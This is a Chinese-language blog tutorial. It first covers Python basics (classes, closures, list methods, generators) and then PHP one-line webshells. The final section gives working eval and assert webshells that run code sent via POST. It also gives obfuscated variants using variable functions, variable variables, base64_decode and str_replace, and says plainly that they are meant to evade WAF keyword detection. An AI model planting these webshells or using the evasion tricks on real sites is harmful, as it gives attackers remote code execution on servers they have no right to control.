python+php一句话木马的利用

python+php一句话木马的利用

python知识;

1、该函数的作用;

  • 当把它当作程序入口运行时,__name__ == __main__它会执行下面的函数print(“dddd”)。
  • 当引用具体的包名时,__name__ == 具体引用的包名,下面的函数也不会执行。
if __name__ == "__main__":
	print("dddd")

2、python的类和对象;

  • 类(class):简单来说就是某一类事物,它们具有相同的属性,例如小狗有不同的种类,不同的种类就属于属性(变量)。
  • 对象(object):不同种类的小狗就都是对象,这个对象就是类的实例(instance)。对象/实例只有一种作用,即属性引用。对象内存空间里只存储对象的属性,而不存储方法和静态属性,方法和静态属性存储在类的内存空间中,这样多个对象可以共享类中的资源,便于节省内存。
  • 实例化:类到对象的过程(实例 = 类名(参数1,参数2))。
  • 字段(field):对象可以使用属于它的普通变量来存储数据,这种从属于对象或者类的变量叫做字段。它们属于某一类的各个实例或对象,或是从属于某一类本身。它们被分别称作实例变量(Instance Variables)与类变量(Class Variables)。有的地方称他们为静态属性和动态属性,静态属性针对的是类属性,动态属性针对的是定义在类中的方法。
  • 方法(method):对象可以通过类的函数来实现相关功能,这个函数叫做类的方法。方法分为普通方法,类方法和静态方法。三种方法在内存中都属于类,区别在于调用方式不同,

3、面向对象的三大特性:继承,多态,封装

  • a;继承:python中,一个新建的类可以继承一个或多个父类。
         作用;1.减少代码的重用;2.提高代码的可读性;3.规范编程模式。
  • b;多态(指的是一类事物有多种形态。但python是自带多态效果的,且崇尚鸭子类型)。
          鸭子类型:不是通过具体的继承关系来约束某些类必须必须要有哪些方法名,是通过一种约定俗成的概念来保证多个类中相似的功能叫相同的名字
  • c; 封装:顾名思义就是将内容封装到某个地方,以后再去调用被封装在某处的内容
          封装原则:1.将不需要对外提供的内容都隐藏起来;2.把属性都隐藏,提供公共方法对其访问。
          封装的好处:1.提高代码的复用性;2.提高安全性;3.降低代码的冗余度

4、python闭包;定义函数与外部环境变量构成闭包

闭包 = 函数+环境变量(函数定义时候)
注意:环境变量一定要在定义函数的外部,而且不能是全局变量
闭包=函数+自由变量的引用。
那么什么是自由变量(free variables)?
在一个函数中,如果某个变量既不是在函数内部创建的也不属于函数的形参,并且它也不是全局变量(global variables),那么这个变量对该函数来说就是自由变量

例如;

  • 1、闭包返回的是一个对象object,是将函数和环境变量都返回了,返回的闭包的环境变量a =3,而cell_contents便是环境变量的值。

在这里插入图片描述

  • 2、当我们把demo2也运行起来并传一个2时,输出的值为12。说明闭包引用的时函数里面的环境变量a=3,而不是全局变量a=10。

在这里插入图片描述

  • 3、返回闭包时牢记一点:返回函数不要引用任何循环变量,或者后续会发生变化的变量
     如果一定要引用循环变量怎么办?
          方法是再创建一个函数,用该函数的参数绑定循环变量当前的值 无论该循环变量后续
          如何更改,已绑定到函数参数的值不变:

例如;按我猜想的结果应该时1,4,9可这里输出全部却都是9。

原因;返回的函数引用了变量i,但它并没有立刻执行;等到3个函数都返回时,它们所引用的变量i已经变成了3,所以输出结果为9.

在这里插入图片描述

  • 4、使用闭包时,对自由变量赋值前,需要先使用nonlocal声明该变量不是当前函数的局部变量
    没nonlocal声明前
    在这里插入图片描述

    使用nonlocal声明
    在这里插入图片描述

    原因;如果对自由变量赋值,由于Python解释器会把x当作函数fn()的局部变量,它会报错原因是x作为局部变量并没有初始化,直接计算x+1是不行的。但我们如果想引用inc()函数内部的x,需要在fn()函数内部加一个nonlocal x的声明。加上这个声明后,解释器把fn()的x看作外层函数的局部变量,它已经被初始化了,可以正确计算x+1

5、python列表;

列表的常见方法;dir(ls)

  • append(元素)
      在列表尾部增加一个元素  ;
             ls.append(6)  ls=[1,2,3,4,5,6]
  • insert(索引位置,元素)
     在列表中特定位置中添加元素;
        s.insert(4,"cui")       ls=[1,2,3,4,cui,5,6] 		
  • clear()
      清除列表
      清除前;ls = [1,23,4]     ls.clear()     
      清除后;ls=[] 	
  • count(元素)
      统计列表中某一元素出现的个数;
              s =[1,2,3,4,2,2,1]  ls.count(2)=3  
  • index(元素)
      查找元素首次出现所在的索引(位置);
             ls = [1,2,3,4,5,5]   ls.index(5)=4 
  • pop([指定删除元素下标])
    默认删除最后一个元素;
          ls = [12,23,45,5] 、 ls.pop() 、 ls=[12,23,45];
    还可以删除指定位置元素;
          ls = [12,23,45,5] 、 ls.pop(1) 、ls = [12,45,5] 
  • remove()
   移除列表中首次出现的对应元素;
          ls = [3,3,4,5] 、ls.remove(3) 、ls = [3,4,5]  
  • reverse()
    倒叙输出列表;ls=[1,2,3]  ls.reverse()  ls=[3,2,1]
  • copy() #浅拷贝对象(堆对象的复制(值的复制))
      ls=[2,3,4]    c=ls.copy()   c=[2,3,4]
  • extend(可迭代对象) #合并列表
       ls1=[1,2]  ls2=[3,4]、ls1.extend(ls2) 、ls1=[1,2,3,4]
  • sort() #排序列表(元素类型必须统一)
 默认从小到大;ls=[1,3,-3,5,-4]  、ls.sort()  ls=[-4,-3,1,3,5]
 若要从大到小;ls=[1,3,-3,5,-4]、ls.sort(reverse=True)、ls=[5,3,1,-3,-4] 
 若元素是字符串类型则按ASCll表排序;ls=["a","ab","zb","aa","c"]   、ls.sort() 、ls=["a","aa","ab","c","zb"]
  • 多维列表
ls=[[1,2,3,4],[12,3,445,54],[25,67,3,1,7]]
ls[0]  输出 [1,2,3,4]    ls[2]   输出 [25,67,3,1,7]
ls[0][2]  输出 3       ls[1][0]  输出 12

6、列表生成器

例子:
1、使用for循环取出i;1,2,3,4; 进行i*i;1,4,9,16;

在这里插入图片描述

2、列出同级所有文件
在这里插入图片描述

3、偶数加一个“-”,奇数正常输出。
在这里插入图片描述

7、生成器(generator)

  • 将列表[]改为()即可称为生成器只要把一个列表生成式的[]改成(),就创建了一个generator。generator保存的是算法每次调用next(g),就计算出g的下一个元素的值,直到计算到最后一个元素,没有更多的元素时,抛出StopIteration的错误一直用next调用,一定不是一个好办法,我们需要用for来调用for可以将StopIteration处理因为生成器也是一个可迭代对象。
 **著名的斐波拉契数列**
   1,1,2,3,5,8,13,21,34
   def fib(max):
      n, a, b = 0, 0, 1
      while n < max:
          a, b = b, a + b
          n += 1
          print(a)
      return 'done'
      f = fib(5)
      print(f)
输出结果;1,1,2,3,5。
仔细观察,可以看出,fib函数实际上是定义了斐波拉契数列的推算
规则,可以从第一个元素开始,推算出后续任意的元素,这种逻辑
其实非常类似generator。上面的函数和generator仅一步之遥。要
把fib函数变成generator函数,只需要把print(a)改为yield a就可以了;
		def fib(max):
		    a, b = 0, 1
		    for i in range(max):
		        a, b = b, a+b
		        yield a
		    return 'done'
		f = fib(5)
		print(next(f))
		print(next(f))
		print(next(f))
		print(next(f))
		print(next(f))
		print(next(f))
这样的话会抱一个错误,我们可以通过捕获异常解决

在这里插入图片描述

什么是一句话木马;

  • 一句话木马就是通过一行简短的代码执行我们发送的命令,一个是可以执行代码的函数部分,一个是接收数据的部分。我们可以通过GET 、POST、COOKIE这三种方式向一个网站提交数据,一句话木马用$_GET[’ ‘]、$_POST[’ ‘]、$_COOKIE[’ ']接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

构造一句话木马函数;
1、eval函数

<?php eval($_POST['a']) ?>

其中eval就是执行命令的函数,**$_POST[‘a’]**就是接收的数据。eval函数把通过POST方式接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

因为木马是接收post请求中 “a” 的数据( $_POST[‘a’]),所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get,那么我么就需要以GET方法发送“a”,

在这里插入图片描述

在这里插入图片描述

2、assert函数

<?php assert(@$_POST['a']); ?>

在这里插入图片描述
在这里插入图片描述

3、eval函数与assert函数的区别;

  • a、eval是一个语言构造器而不是一个函数,不能被可变函数调用。 而PHP 支持可变函数的概念,这意味着如果一个变量名后有圆括号,PHP
    将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 可变函数不能用于例如
    echo,print,unset(),isset(),empty(),include,require
    以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

  • b、assert在php中是一个函数,assert函数中参数为表达式(或者为函数),eval函数中参数是字符。eval其实并不能算是‘函数’,而是PHP自身的语言结构,在需要用‘可变’的方式调用时,需要自己构造,类似这样子的:

		<?php
		function eval_123($str)
		{
		   eval($str);
		}
		$a='eval_123';
		$a('phpinfo()');
		?> 

目前大多数服务器都会使用一些安全设备来进行保护,这些设备会以关键字判断是否为一句话木马,我们便很难直接用一句话木马。所以我们就衍生出了有很多种一句话木马的变形,这样waf便不可能全部拦截。

1、PHP变量函数;
通过使用变量函数$a,而变量储存了函数名eval,便可以直接用变量替代函数名。

代码如下;

<?php
$a = "eval";
$a(@$_POST['a']);
?>

2、PHP可变变量;

代码如下;

<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>

上述语句可以理解为;$$aa=$($aa)=$bb=“eval”

3、base64_decode函数;
将eval进行base64加密后是——ZXZhbA==、
这里使用了base64_decode对ZXZhbA==解密为eval拼接到($_POST[‘a’])从而达到欺骗浏览器的目的。

代码如下;

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

4、str_replace函数;
函数功能:在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"cyk"。

代码如下;

<?php
$a=str_replace("cyk", "", "evcykal");
$a(@$_POST['a']);
?>
                       

点击阅读全文

上一篇 2023年 5月 28日 am10:14
下一篇 2023年 5月 28日 am10:16